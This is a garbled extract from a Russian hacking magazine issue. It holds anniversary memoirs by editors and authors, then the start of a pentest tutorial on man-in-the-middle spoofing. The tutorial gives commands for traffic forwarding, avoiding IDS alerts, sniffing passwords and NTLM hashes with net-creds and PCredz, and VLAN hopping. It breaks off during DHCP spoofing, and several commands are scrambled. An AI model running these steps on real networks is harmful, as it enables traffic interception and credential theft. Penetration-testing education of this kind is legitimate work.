не все они получа лись удач ными, но в каж дую из них я вло жил час тичку себя.

s0i37 F#ck da Antivirus

FearZzZz

Ñïåöèàëèñò ïî AppSec, ó÷àñòíèê Bug Bounty, ýòè÷íûé õàêåð

В девянос тых годах «Хакер» стал аль тер нативой все му тому, что было и в
поп-меди апрос транс тве, и в молодеж ной сре де. Я стал одним из тех юных
читате лей, кому жур нал в те вре мена показал аль тер нативу, поз волил сде лать
став ку на самораз витие и нелиней ное изу чение новых тех нологий. Иссле- 
дова ния, хакинг, хулиганс тво и конт ркуль тур ность — тог да эти вещи будора- 
жили мно гих и вмес те с тем фор мирова ли осо бый тип IT-энту зиас тов, эта кую
суб куль туру.

eakj

 

«Хакер» — это как хороший зна комый, который всег да рад тебя видеть и даже
пос ле мно гих лет дис коннек та не будет спра шивать: «Дорогой, а где ты был?»
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«Хакеру» в этом году исполня ется 25 лет, и мы про дол жаем
пуб ликовать вос помина ния о жур нале. Нас тал черед и самой
редак ции нем ного понос таль гировать и попытать ся вспом- 
нить, при каких обсто ятель ствах каж дый из нас при шел
в «Хакер».

Àíäðåé Ïèñüìåííûé
Ãëàâíûé ðåäàêòîð

Дав кол легам задание написать пару слов о том, как они попали в «Хакер»
и как им уда лось про дер жать ся здесь до сих пор, я еще не понимал, какую
рою для себя яму: при дет ся ведь и самому в оче ред ной раз что-то мучитель- 
но вспо минать. Что ж, девать ся теперь некуда!

Во обще, читая отзы вы читате лей и авто ров, я заметил, что все они начина- 
ются поч ти оди нако во: был бес печным юнцом, шел по ули це мимо ларь ка
с жур налами, вдруг уви дел необыч ную обложку с над писью «Хакер», купил,
про читал, ничего не понял, но жизнь в этот момент изме нилась нав сегда.

Моя исто рия слег ка отли чает ся: не толь ко тем, что свой пер вый «Хакер» я
нашел в полик линике, но и тем, что информа цион ная безопас ность не ста ла
сра зу же моим увле чени ем. Узна вать прин ципы взло ма было инте рес но,
но куда боль ше увле кали новые тех нологии, IT-биз нес и про чие вещи,
о которых в «Хакере» тол ком не писали.

Пер вый номер «Хакера», который я дер жал в  рукахру ке

Дол гое вре мя моим выбором был жур нал «Компь ютер ра», в редак цию
которо го я и сру лил работать, не доучив шись в тех ничес ком вузе на спе- 
циаль нос ти «информа тиза ция жур налис тики». Информа тизи ровать жур налис- 
тику нуж но было незамед литель но, не дожида ясь дип лома! Невоз можно было
слу шать про алгол и базы дан ных на FoxPro, ког да за сте нами инсти тута кипит
жизнь: выходит пер вая вер сия Firefox, откры вает ся YouTube, «Википе дия» при- 
рас тает тысяча ми ста тей в сут ки.

Пер вое вре мя я работал в «Компь юлен те» — онлай новом новос тном изда- 
нии, которое в середи не нулевых было на самом-самом острие тех нологи- 
чес ких новос тей. Это было как раз то, что нуж но: как буд то до это го все вре мя
испы тывал жаж ду, а тут встал под водопад.

Па рал лель но та же редак ция занима лась сай том самой «Компь ютер ры»,
где пуб ликова лись не толь ко статьи из жур нала, но и свои. Я стал обоз ревать
веб-сер висы (это сло во было новей шим в те вре мена) и компь ютер ные игры,
а так же брал интервью и учил ся делать популяр ные тех ничес кие статьи
по мотивам зарубеж ных науч ных работ.

В кон це 2009 года бумаж ная «Компь ютер ра» зак рылась, а сайт остался.
Чис ло пуб лику емых ста тей силь но вырос ло, и для меня как раз это и было
пер вым опы том перено са куль тового компь ютер ного жур нала в онлайн. Мож- 
но ска зать, что в «Хакер» я при шел уже бывалым спе циалис том по циф ровой
тран сфор мации!

А при шел я вот как. Уво лив шись из «Компь ютер ры», я решил стать фри лан- 
сером и циф ровым кочев ником: колесить по миру, брать интервью у инте рес- 
ных людей и писать в раз ные жур налы. Одним из пер вых я пред ложил свои
услу ги Стё пе Иль ину — тог дашне му глав реду «Хакера».

Стё па передал меня в забот ливые руки Ильи Илем битова, и я стал писать
статьи в руб рику «Сце на»: про рус ские кло ны домаш них компь юте ров
из вось мидеся тых, , , 

,  и про чие занима тель ные
шту ки.

про исто рию ARM про лай флог гинг про необыч ные
интерфей сы про самых стран ных чудаков мира IT

175-й номер. Знак качес тва — в честь моей статьи!

От типич ных тем «Компь ютер ры» я стал перехо дить к более тра дици онным
для «Хакера». Лис тая ,  и  в поис ках вдох- 
новения, я нат кнул ся на то, что выз вало у меня непод дель ный инте рес: исто- 
рии о хакерах, круп ных взло мах и циф ровом андер гра унде. Так появи лись
статьи , , про Cicada 3301,
про взлом самоле та и дру гие увле катель ные вещи.

Motherboard Wired Hacker News

про зак рытие Silk Road про вымыш ленные загово ры

А потом Илья Русанен поз вал меня в редак цию на пол ный день, и... было
очень-очень мно го работы! Я обна ружил, что хакеры иног да пишут так, что
перепи сывать их статьи при нятым у нас прос тым и понят ным язы ком —
это нас тоящий чел лендж. Я при нял его с готов ностью и с тех пор прик ладывал
свою руку чуть ли не к полови не выходя щих в «Хакере» ста тей.

И ни на секун ду не пожалел о сво ем выборе. «Хакер» — уни каль ное изда- 
ние с неверо ятной исто рией. Работая здесь, я поз накомил ся с мно жес твом
прек расных людей, занимал ся кру тыми про екта ми и про читал (и поп равил!)
столь ко тек стов об изнанке тех нологий, сколь ко физичес ки смог.

Âàëåíòèí Õîëìîãîðîâ
Âåäóùèé ðåäàêòîð

Мож но ска зать, что в «Хакер» я попал слу чай но. В те вре мена я работал
в ком пании «Док тор Веб», писал новос ти о вре донос ных прог раммах и сос- 
тавлял опи сания мал вари для вирус ной биб лиоте ки. Мне и пере адре сова ли
зап рос редак тора «Хакера» Алек сан дра Лозов ско го: жур налу тре бовал ся
еже месяч ный обзор вирус ной активнос ти с под робным опи сани ем ана томии
наибо лее злов редных злов редов.

Я с удо воль стви ем взял ся сочинять такие замет ки — собс твен но, под- 
готов ка пуб ликаций для СМИ была частью моих про фес сиональ ных обя зан- 
ностей. Так и началось наше сот рудни чес тво, которое пос тепен но переш ло
в плос кость нефор маль ного обще ния. Спус тя нес коль ко лет Алек сандр
по сек рету сооб щил мне, что собира ется покинуть «Хакер», и пред ложил
занять его мес то. Я сог ласил ся не раз думывая.

По том сос тоялось собесе дова ние с осно вате лем жур нала Димой Ага- 
руно вым и глав редом Андре ем Пись мен ным, и мы доволь но быс тро наш ли
общий язык: на их сто роне была увле катель ная работа и инте рес ные задачи,
на моей — редак тор ский опыт в жур нале «Магия ПК» и «Компь ютер ной
газете», а так же мно гочис ленные пуб ликации об IT-тех нологи ях в изда ниях
раз ной сте пени крас ногла зос ти.

С моей точ ки зре ния, «Хакер» — это не прос то «компь ютер ный жур нал»,
это куль товое мес то силы для всех, кто инте ресу ется информа цион ной
безопас ностью или тру дит ся в этой сфе ре. Здесь очень силь ный кол лектив,
как редак тор ский, так и автор ский. Не устаю поражать ся про фес сиональ ному
опы ту и объ ему зна ний экспер тов, которые пишут нам матери алы, а так же
тому, нас коль ко сла жен но и ответс твен но работа ет редак ция, что бы прев- 
ратить эти тек сты в кру тые и увле катель ные статьи!

Ну а что мне нра вит ся в «Хакере» боль ше все го — так это кол лектив. Яркий
и друж ный, даже нес мотря на то, что мы край не ред ко видим ся в офлай не
за исклю чени ем каких-то про филь ных мероп риятий (которые с нас тупле нием
ковид ной эпо хи так и вов се сош ли на нет). Кто-то живет в Мос кве, кто-то —
в Питере, кто-то и вов се кур сиру ет меж ду Шри-Лан кой и Казах ста ном...
Но обще ние, пусть и вир туаль ное, оста ется для нас источни ком хороше го
нас тро ения.

Ис крен не верю, что 25-летие — далеко не пос ледний юби лей, который я
встре чаю с любимым жур налом. Пус кай сотый и двух сотый номера «Хакера» я
про пус тил, все же наде юсь, что номер 400, 500 и далее по спис ку мы обя- 
затель но под готовим вмес те!

Ìàðèÿ Íåôёäîâà
Ðåäàêòîð íîâîñòåé

В этом году «Хакеру» исполня ется 25 лет, а лич но я пишу для жур нала
уже 18 лет. Да, самой не верит ся, но моя пер вая статья в руб рике «Сце на»
выш ла в далеком 2006 году. Я даже отыс кала на антре солях тот самый 85-й
номер (у меня сох ранил ся бумаж ный экзем пляр), подер жала его в руках
и попыта лась осоз нать этот огромный срок. Чес тно — не получи лось.

У нас с «Хакером» все началось слу чай но: меня бук валь но «понаб рали
по объ явле нию». На дво ре сто яла середи на нулевых. Тог да никако го Twitter
(прос тите, X), Telegram и кучи соц сеточек еще не было и в помине, а ком пания
СУП еще не купила ЖЖ, поэто му там зависа ла полови на рунета.

Имен но в ЖЖ мне на гла за попал ся пост Оле га «Mindw0rk» Чебене ева,
который искал авто ров для неко его «кру того тех нологи чес кого жур нала»,
даже не рас кры вая при этом его наз вания.

Опыт работы с тек ста ми у меня уже был, инте рес к ком пам и ИТ — тоже,
и я решила поп робовать, отклик нулась на объ явле ние. Пом нится, я очень
вол новалась (ведь это ува жаемое тех ничес кое изда ние!), поэто му получи ла
задание, уточ нила детали и… через нес коль ко дней прос то сда ла текст. Лишь
пос ле это го приш ло осоз нание, что из-за вол нения я не узна ла ничего ни о
сро ках пуб ликации, ни об опла те. Сов сем ничего. Ста ло смеш но и нем ного
обид но, приш лось мыс ленно поз дра вить себя с тем, что, похоже, я бес плат но
написа ла статью непонят но для кого, непонят но куда, без каких-либо гаран- 
тий.

Но через пару месяцев меня приг ласили в офис «Хакера», тог да находив- 
ший ся на ули це Льва Тол сто го, за гонора ром и экзем пля ром жур нала,
в котором дей стви тель но была опуб ликова на моя статья.

На тот момент это была моя пер вая пуб ликация в печат ном изда нии,
и слож но передать те эмо ции, которые испы тыва ешь, впер вые уви дев свой
текст на бумаге. Впро чем, к это му в целом слож но при вык нуть. Нап ример,
очень стран но ока зать ся в дав ке вагона мет ро рядом с челове ком, который
увле чен но чита ет твою статью в «Хакере», даже не подоз ревая, что автор сто- 
ит пря мо у него за спи ной. Бывало и такое.

Пос ле пер вой «про бы пера» Олег пред ложил про дол жить сот рудни чес тво,
а я сог ласилась, ведь было чер тов ски инте рес но. Тог да это, конеч но, был
не фул тайм, и боль шинс тво авто ров «Хакера» тог да в целом были фри лан- 
серами. Одна ко со вре менем я ста ла при нимать учас тие в пла ниро вании руб- 
рики «Сце на», пред лагать собс твен ные идеи, под менять кол лег в дру гих раз- 
делах, вплоть до обзо ров железа. И про дол жила писать в «Хакер» даже пос ле
ухо да Оле га, с которым мы потом еще успе ли порабо тать в игро журе.

А спус тя нес коль ко лет (кажет ся, это было в 2008 году) меня поп росили
о помощи: тог да мы по какой-то при чине потеря ли регуляр ного авто ра
MegaNews — новос тей, с которых всег да откры вал ся жур нал. Это показа лось
мне инте рес ным, хотя и весь ма слож ным чел лен джем, и в резуль тате новос- 
ти, пос тепен но и незамет но, ста ли моей еже месяч ной ответс твен ностью,
да так и оста лись ею на дол гие годы. И оста ются по сей день, пусть уже в сов- 
сем дру гом фор мате и ракур се.

Вряд ли удас тся уло жить мно жес тво вос помина ний и теп лую нос таль гию
за все про шед шие годы в рам ки это го тек ста. К тому же тог да эта колон ка
рис кует прев ратить ся в монолог про «ата кующие кораб ли, пыла ющие
над Ори оном» и «лучи Си, раз реза ющие мрак у ворот Тан гей зера».

По тому что я пом ню ноч ные раз говоры с Кри сом Кас пер ски в Jabber, ког да
тот делил ся сво ими впе чат лени ями о пере езде в США. Пом ню, как Nikitozz
(Никита Кис лицин) сроч но вызывал в редак цию, которая еще рас полага лась
рядом с офи сом Яндекса, потому что тре бова лось немед ленно внес ти прав ки
в текст. Пом ню, как обсужда ла рабочие воп росы с toxa (Анто ном Кар повым)
в ась ке, и он еще не был CISO Яндекса. Пом ню, как в Мос кву при езжал Сти- 
вен Бал мер. Пом ню, как бра ла интервью у осно вате ля Wikipedia. Пом ню,
как бумаж ный «Хакер» перес тал сущес тво вать и казалось, что все закон- 
чилось.

Мог ла ли я пред ста вить, что слу чай но уви ден ный в 2006 году пост в ЖЖ
опре делит то, чем я буду занимать ся в 2024-м? Конеч но, нет. Но, судя
по исто риям наших читате лей, они тоже не пред став ляли, что куп ленный ими
слу чай но или из любопытс тва «Хакер» опре делит их будущую про фес сию
и жиз ненный век тор. А таких сре ди вас немало. Что бы убе дить ся в этом, дос- 
таточ но заг лянуть в  с отзы вами и вос помина ниями читате- 
лей.

со сед нюю статью

Мог ли ли все мы пред ста вить, что в 2024 году «Хакер» по-преж нему будет
выходить в новом фор мате, как пол ностью элек трон ное изда ние, пос ле того
как «бумага» канет в Лету? Сно ва нет. Ведь вна чале даже мно гим в редак ции
казалось, что это «не взле тит», что ничего не получит ся. Одна ко мы всё
еще здесь.

Что даль ше? Отве чать на такой воп рос слож но даже в луч шие вре мена,
а уж во вре мена вро де нынеш них — поч ти невоз можно. Но у нас, как всег да,
мно жес тво пла нов, идей и про ектов. Некото рые из них может зас пой лерить
в сосед ней колон ке Андрей Пись мен ный, а может, при дет ся подож дать
отдель ных анон сов.

Од но извес тно навер няка: мы про дол жим писать, соз давая для вас статьи,
инте рес ные и акту аль ные, обу чающие и иссле дова тель ские, хар дкор ные
и для начина ющих. Кажет ся, сей час, ког да поис ковые сис темы тонут
в мусоре, генери руемом ИИ, а ней рон ки пишут пар шивые тек сты обо всем
и ни о чем (как показы вает нам яркий при мер CNET), кон тент, соз дава емый
живыми людь ми, дей стви тель но раз бира ющи мися в теме, может стать даже
более ценен. Кто зна ет.

Поз волю себе подыто жить эту нос таль гичес кую замет ку не менее нос таль-
гичес кой цитатой из сери ала Firey, хорошо зна комо го мно гим гикам:

— We’re still flying. 
— That’s not much. 
— It’s enough.

yambuto
Áèëüä-ðåäàêòîð

Каж дый читатель «Хакера» зна ком с моей работой — вот уже шесть лет я
дизай ню обложки выпус ков «Хакера», а пос ледний год соз даю еще и заг- 
лавные иллюс тра ции для ста тей. Забав но, что свою пер вую обложку я сде- 
лала неожи дан но для себя.

Тог да я была иллюс тра тором на фри лан се и под рабаты вала в «Хакере»
ответс твен ным редак тором на пол став ки. Я сле дила за выходом пуб ликаций,
про веря ла, что бы иллюс тра ции были на мес те, выбива ла готовые тек сты
из редак торов руб рик и напоми нала всем обо всём. В том чис ле напоми нала
нашему леген дарно му дизай неру Али ку о том, что пора сда вать оче ред ную
обложку.

Он имел обык новение про падать неделя ми, но в тот Новый год он про пал
как-то сов сем без надеж но, как сквозь зем лю про валил ся. Тут-то редак ция
и вспом нила, что есть я, человек, который уме ет поль зовать ся гра фичес кими
редак торами.

Как сей час пом ню, я дол го в ночи ковыря ла эту обложку с Сан та-Кла- 
усом — «64 подар ка для хакера». Я тог да тол ком не уме ла поль зовать ся век- 
тором, свои иллюс тра ции рисова ла в рас тре. Но для обложки мы выб рали
век торную кар тинку, на которой надо было переком поновать объ екты, изме- 
нить лицо Сан ты и добавить на ноут бук кучу хакер ских сти керов. Приш лось
экс трен но раз бирать ся!

Продолжение статьи →
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Та самая пер вая обложка

Я тог да решила, что это был еди нич ный слу чай, ког да мне приш лось потушить
горящий дед лайн. Но — кто бы мог подумать! — с тех пор все обложки
рисова ла я, а наш Алик так и не вер нулся к это му почет ному занятию.

Су венир ка «Хакера» на кон ферен циях

За эти годы было мно го все го инте рес ного: я делала не толь ко обложки, но и
иллюс тра ции для дай джес тов новос тей, рисун ки для фут болок, сти керы, лис- 
товки, стен ды для выс тавки, в течение года заведо вала сувенир ным магази- 
ном xakep.shop и даже «испекла» 3D-торт на юби лей жур нала! И конеч но, я
поч ти ежед невно генери рую иллюс тра ции для ста тей в DALL-E 3 и Midjourney.
Да, работы ста ло боль ше, зато сайт и выпус ки «Хакера» в PDF ста ли кра- 
сивее!

Как и мно гие наши читате ли, я лис тала «Хакер» с самых пер вых номеров.
Будучи еще ребен ком, я мало что понима ла, кро ме рас ска зов про осли ка
и руб рики «Запад лос тро ение». Спус тя 25 лет уро вень моего понима ния ста- 
тей в «Хакере» поч ти не изме нил ся :) Зато я глу боко впи тала его стиль и дух
и ста раюсь под держи вать и раз вивать его.

Ра ботать в «Хакере» мне очень нра вит ся, одна толь ко проб лема — мне зап- 
реща ют исполь зовать розовый цвет, потому что это «не кру то». Читатель,
если ты тоже залож ник кру тос ти, но в глу бине души любишь розовый цвет,
мор гни дваж ды! Шут ка (не шут ка).

Þðèé «yurembo» ßçåâ
Ïîñòîÿííûé àâòîð

Мое мировоз зре ние было сфор мирова но 200 номеров тому назад. Начиная
с сотого номера «Хакера», я стал регуляр но читать жур нал, а пару номеров
спус тя офор мил под писку. В 2007-м это было жиз ненно важ но, све жий номер
из газет ного киос ка мог ли ута щить дру гие охот ники за информа цией. Она
ценилась нам ного дороже, чем сей час, по край ней мере дос тать нуж ные све- 
дения было слож нее. А информа цию от кру тых кодеров и хакеров — тем
более. Еще некото рое вре мя я выписы вал «IT-Спец». В нем была более серь- 
езная инфа, ори енти рован ная на биз нес.

Со тый номер «Хакера»

В то вре мя моим глав ным увле чени ем был гей мдев, впро чем, как и сей час.
Тог да рын ка игро вых движ ков не было вооб ще, поэто му для каж дой новой
игры дви жок раз рабаты вал ся прак тичес ки с нуля. А пос коль ку в моду тог да
начина ли вхо дить онлай новые игры, раз работ чикам, кро ме низ коуров невых
интерфей сов ОС, полага лось знать базы дан ных, сетевые про токо лы и про- 
чее.

Я тог да вынаши вал идею написать кни гу «Прог рамми рова ние трех мерных
игр на OpenGL». Но быс тро был воз вра щен с небес на зем лю вор чли выми
редак торами книж ных изда тель ств: мне посове това ли преж де написать нес- 
коль ко ста тей в тех ничес кие изда ния, что бы показать себя общес твен ности,
понять, что такое писатель ство.

Га зет ные киос ки тог да были завале ны компь ютер но-игро выми жур налами.
Естес твен но, ни один из них не под ходил для ста тей про кодинг. Тог да-то я
и смек нул, что для моих изощ ренных целей подой дет «Хакер». Помимо про- 
чего, «Хакер» мне нра вил ся тем, что туда писал Крис Кас пер ски. Я уже был
зна ком с его кни гами и был при ятно удив лен встре тить в «Хакере» его глу- 
боко мыс ленные статьи. Иног да один жур наль ный номер содер жал по семь
ста тей Кри са!

Пер вой моей попыт кой, к сло ву неудач ной, была статья на тему «Прог- 
рамми рова ние на Delphi под Oracle» в том же 2007 году. Алек сандр Лозов- 
ский, ветеран «Хакера», редак тор руб рики «Кодинг», отве тил мне отка зом:
«Нашим читате лям такая тема будет неин терес на. При думай что-нибудь пок- 
руче и обра щай ся сно ва». Я без сожале ния выкинул эту статью в сеть. Пуб- 
лике она пон равилась, и ее быс тро рас тиражи рова ли на раз ных ресур сах.

В 2008 году впер вые появи лась Express-вер сия Visual Studio, и вмес те
с ней в Microsoft прод вигали игро вой дви жок DarkGDK ком пании
TheGameCreators — как средс тво быс трой раз работ ки виде оигр. Мне эта
тема ока залась близ ка, и я подумал, что ауди тории «Хакера» будет инте рес но
уви деть внут реннос ти игрос троя. В июле 2008-го я написал для руб рики
«Кодинг» статью «Тем ное искусс тво игро дела». Редак тор отве тил, что тема
инте рес ная, статья хорошая, пой дет в печать. Я, обра дован ный, накатал
еще три статьи в про дол жение темы игрос троя.

А потом вышел октябрь ский номер с моей стать ей!

Де сятый номер за 2008 год и титуль ная стра ница моей пер вой статьи

Поз же выш ли осталь ные статьи моего пер вого жур наль ного цик ла.

Ти туль ные стра ницы вто рой и треть ей ста тей

Так началось мое сот рудни чес тво с «Хакером»: я делал раз ные иссле дова ния
и писал статьи по ним. Статьи помога ли еще глуб же поз навать инте рес ные
мне тех нологии.

За вре мя сот рудни чес тва с «Хакером» я в основном писал статьи для руб- 
рики «Кодинг», а в пос ледние годы перек лючил ся на «Взлом». Я рас смат- 
ривал широчай ший набор тем: писал про прог рамми рова ние для Windows
Phone, Kinect, Leap Motion, рас ска зывал про Torque 2D/3D, AGK, Eiffel, раз- 
работ ку для macOS на Objective-C.

Дол гое вре мя никого, кро ме Лозов ско го, из редак ции я не знал. Шли
годы, я писал статьи, слал их Алек сан дру на мыло, он мне что-то отве чал,
и этим наше сот рудни чес тво огра ничи валось. Так бы все и про дол жалось,
пока в один прек расный момент Ири на Чер нова (в прош лом выпус кающий
редак тор «Хакера») не приг ласила меня посетить редак цию. Я как раз был
в Мос кве на кон ферен ции игро делов DevGAMM, поэто му при нял приг- 
лашение и при пер ся в редак цию, где меня жда ли Алек сандр Лозов ский и на
тот момент глав ный редак тор Илья Русанен.

Yurembo и Dr. Klouniz

Че рез девять лет, прой дя вмес те с «Хакером» огонь, воду и мед ные тру бы,
наб равшись бес ценно го опы та, я с помощью изда тель ства «Солон-Пресс»
все-таки издал кни гу про гей мдев: «Вол шебс тво момен та вра щения: Искусс- 
тво раз работ ки игр на движ ке Torque 2D». Она и вправ ду отли чалась от пер- 
воначаль ной задум ки. За про шед шее вре мя игро вая индус трия изме нилась,
появи лись бес плат ные движ ки, раз работ ка виде оигр ста ла быс трей,
в каком-то смыс ле про ще, дос тупнее и кон курен тнее. Поэто му писать кни гу
про самос тоятель ное воз ведение игро вого движ ка с помощью OpenGL ста ло
не нуж но. Я для это го выб рал дви жок Torque 2D, который я исполь зовал
в ряде ран них про ектов. Через год пос ле изда ния кни ги выш ло ее вто рое,
допол ненное, изда ние: «Как самому написать мобиль ную 2D-игру».

Од нознач но самый кру той про ект, который мы под готови ли сов мес тно
с редак цией «Хакера» за пос леднее вре мя, — это пуб ликация обновлен ной
кни ги Кри са Кас пер ски «Фун дамен таль ные осно вы хакерс тва». Мно гие
читате ли в ком мента риях к стать ям оста вили полез ные замеча ния и советы,
пос лужив шие улуч шению ито говой бумаж ной кни ги. За что всем огромная
бла годар ность!

https://xakep.ru/author/yurembo/
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ВЗЛОМ

MITM — это самая импак тная ата ка,
которую мож но про вес ти в сети.
Но одновре мен но это и самая опас ная тех- 
ника с точ ки зре ния рис ков
для инфраструк туры. В этой статье я рас- 
ска жу о том, как спу фить при пен тесте, что- 
бы ничего не сло мать по дороге и не устро- 
ить DoS.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Нач нем с теории. Я покажу, какие парамет ры нуж ны для кор рек тно го про- 
веде ния MITM. Эти нас трой ки поз волят тебе избе жать неп редна мерен ного
DoS.

ÌÀÐØÐÓÒÈÇÀÖÈß ÒÐÀÔÈÊÀ È ÍÅÐÀÇÁÎÐ×ÈÂÛÉ ÐÅÆÈÌ

Клас сика жан ра: перек лючить свой интерфейс в promiscuous mode и раз- 
решить мар шру тиза цию. Раз решение мар шру тиза ции — это вооб ще очень
важ ная нас трой ка, так как без нее во вре мя MITM тра фик легитим ных хос тов
будет упи рать ся в твою ОС и даль ше не прой дет, а это вызовет DoS.

ip sudo link set dev eth0 promisc 
1 sudo sysctl -w net.ipv4.ip_forward=

Так же будет полез но отклю чить ICMP Redirect. При про веде нии MITM твоя
машина может генери ровать эти сооб щения, что вызовет тре вогу сен соров
сис тем IDS/IPS.

0 sudo sysctl -w net.ipv4.conf.all.accept_redirects=
0 sudo sysctl -w net.ipv6.conf.all.accept_redirects=

ÂÎÇÌÎÆÍÎÑÒÈ ÏÎÐÒÀ ÊÎÌÌÓÒÀÒÎÐÀ

Так или ина че при MITM ты будешь упи рать ся в воз можнос ти пор та ком- 
мутато ра. Если на пор те ком мутато ра условно про пус кная спо соб- 
ность 1 Гбит/с, то выше этой отметки не прыг нуть. Поэто му не рекомен дует ся
спу фить слиш ком мно го хос тов.

NAT HELPER, ÌÀÑÊÀÐÀÄÈÍÃ È ÅÃÎ ÏÎÁÎ×ÍÛÅ ÝÔÔÅÊÒÛ

Че рез тебя может про ходить FTP, H.323 и дру гой тра фик, который пло хо
работа ет с NAT. Модуль  поможет про хож дению тра фика таких

про токо лов:

nf_conntrack

sudo modprobe nf_conntrack 

Да вай зададим пра вило NAT, которое поз волит видеть не толь ко вхо дящий
во вре мя MITM тра фик, но еще и исхо дящий.

 nat sudo iptables -t -A POSTROUTING -o eth0 -J MASQUERADE 

Од нако у это го пра вила может быть побоч ный эффект.
Од нажды мой кол лега по цеху во вре мя MITM как раз таки и нас тро ил

такое пра вило. В инфраструк туре заказ чика были Zabbix-аген ты, которые он
спу фил. И это пра вило при вело к тому, что Zabbix-сер вер боль ше не мог дос- 
тучать ся до Zabbix-аген тов, так как оно, по сути, спу фит адре са легитим ных
хос тов. Разуме ется, от такого вне зап ного события сетеви ки были в шоке.

Ïîèñê ÷óâñòâèòåëüíûõ äàííûõ â ýôèðå
Ути литы  и  — полез ней шие инс тру мен ты для удоб ного сбо ра
дан ных в эфи ре. Обыч но их исполь зуют для того, что бы вытащить из тра фика
пароли, NTLM-хеши, стро ки SNMP Community и дру гие инте рес ные вещи.

net-creds PCredz

sudo python2 net-creds -i eth0 
sudo python3 ./Pcredz -i eth0

ßÄÐÎ LINUX

При MITM твое устрой ство дол жно быть готово к обра бот ке боль шого
количес тва тра фика. Мож но нем ного затюнить ядро Linux для опти маль ной
работы с боль шим количес твом тра фика, который ты будешь при нимать
во вре мя спу фин га сети.

sudo sysctl -w fs.file-max=100000 
sudo sysctl -w net.core.somaxconn = 65535 
sudo sysctl -w net.core.netdev_max_backlog = 65536 

15 sudo sysctl -w net.ipv4.tcp_fin_timeout=
1 sudo sysctl -w net.ipv4.tcp_tw_reuse=
1 sudo sysctl -w net.ipv4.tcp_tw_recycle=

sudo sysctl -w net.ipv4.tcp_max_tw_buckets=65536 

Да вай прой дем ся по каж дой нас трой ке:
 зада ет мак сималь ное количес тво

соеди нений, которые могут ожи дать обра бот ки в оче реди. Это важ но
для при ложе ний с высокой наг рузкой, что бы пре дот вра тить отбра сыва ние
новых соеди нений из-за перепол ненной оче реди;

• net.core.somaxconn = 65535

 опре деля ет мак сималь ный
раз мер оче реди для сетевых устрой ств, обра баты вающих вхо дящий тра- 
фик. Уве личе ние это го парамет ра поз воля ет более эффектив но обра- 
баты вать пакеты в сетевом сте ке;

• net.core.netdev_max_backlog = 65536

 — этот параметр уста нав лива ет вре мя
в секун дах, в течение которо го соеди нение ожи дает завер шения пос ле
отправ ки финиш ного пакета (FIN). Зна чение 15 секунд — ком про мисс
меж ду сво евре мен ным осво бож дени ем ресур сов и пре дот вра щени ем
воз можных проб лем с пере исполь зовани ем пор тов;

• net.ipv4.tcp_fin_timeout=15

 — ког да этот параметр уста нов лен в еди- 
ницу, он раз реша ет пов торное исполь зование сокетов TIME-WAIT
для новых соеди нений.  — это сос тояние, в котором сокет
ждет, преж де чем пол ностью зак рыть ся. Вклю чение этой опции поз воля ет
исполь зовать пор ты, находя щиеся в сос тоянии , для новых
соеди нений, что может умень шить рас ход пор тов при высокой наг рузке;

• net.ipv4.tcp_tw_reuse=1

TIME-WAIT

TIME-WAIT

 — этот параметр акти виру ет режим пов- 
торно го исполь зования сокетов . Вклю чение этой опции поз- 
воля ет ядру заново исполь зовать сокеты , при меняя хеш-фун- 
кцию для рас пре деле ния их по нес коль ким оче редям. Это может улуч шить
эффектив ность обра бот ки сокетов  в усло виях высокой наг- 
рузки;

• net.ipv4.tcp_tw_recycle=1

TIME-WAIT

TIME-WAIT

TIME-WAIT

 — этот параметр уста нав лива- 
ет мак сималь ное количес тво -сокетов, которые могут быть
в оче реди. Уве личе ние это го зна чения может пре дот вра тить отбра сыва- 
ние сокетов  в слу чае, если они пос тупа ют слиш ком быс тро.

• net.ipv4.tcp_max_tw_buckets=65536

TIME-WAIT

TIME-WAIT

TCP Window Scaling
Па раметр TCP Window Scaling управля ет мас шта биро вани ем окна TCP. Уве- 
личе ние TCP-окна может улуч шить про изво дитель ность переда чи дан ных
в сети с высокой задер жкой или высокой наг рузкой.

В TCP каж дая сто рона уста нав лива ет раз мер окна. Соот ветс тву ющее
количес тво бай тов может быть отправ лено без под твержде ния. Window
Scaling пре дос тавля ет воз можность уве личи вать этот раз мер окна, что осо- 
бен но полез но при работе с высокос корос тны ми сетями.

1 sudo sysctl -w net.ipv4.tcp_window_scaling=

ÎÁÕÎÄ VLAN-ÑÅÃÌÅÍÒÀÖÈÈ (CISCO 2960)

Внут ри локаль ной сети ата кующий может слу чай но напороть ся на тран ковый
порт. Чаще все го такое слу чает ся с ком мутато рами Cisco, за которы ми
недос таточ но дог лядели в про дак шене и не нас тро или как сле дует. Глав ная
проб лема в том, что в ком мутато рах Cisco 2960 по умол чанию все пор ты
вклю чены и находят ся в режиме DTP Dynamic Auto. Это может пов лечь
за собой ата ку VLAN Hopping, при которой ата кующий выпол няет инъ екцию
кад ра DTP Desirable.

Инс тру мент Above поз волит обна ружить теги 802.1Q на тран ковом пор те
ком мутато ра. Затем ата кующий, зная о VLAN ID, соз даст вир туаль ные VLAN-
интерфей сы и прыг нет в дру гой VLAN-сег мент.

apt sudo install above 
 300 sudo above --interface eth0 --timer

Те ги 802.1Q в сетевых пакетах

Об наруже ние 802.1Q-кад ров с помощью Above

Так же сниф финг кад ров 802.1Q будет очень полезен при ком про мета ции
гипер визора, пос коль ку обыч но гипер визор и находит ся на тран ковых
каналах.

DHCP SPOOFING, ÍÎ ÁÅÇ EXHAUSTION

Эта ата ка выг лядит так. Ата кующий в сво ей ОС под нима ет лож ный DHCP-сер- 
вер. Ата кующий может уже быть бли жай шим DHCP-сер вером, по срав нению
с легитим ным DHCP-сер вером, который обыч но находит ся в дру гом сег- 
менте, и тог да зло умыш ленни ку даже не нуж но при менять сом нитель ный
DHCP Exhaustion. Почему сом нитель ный? Потому что это лиш нее негатив ное
воз дей ствие на сеть. Пос ле такого пен теста сетеви кам при дет ся посетить
DHCP-сер веры и почис тить Lease-таб лицы. Если ты изу чал эту MITM-ата ку,
навер няка пом нишь, что она упо мина лась вмес те с DHCP Exhaustion, одна ко
эта схе ма наносит силь ный урон инфраструк туре.

При таком виде спу фин га есть опас ность в виде DHCP Lease Time. Гру бо
говоря, сколь ко длит ся тай мер Lease Time, столь ко ты и дол жен обслу живать
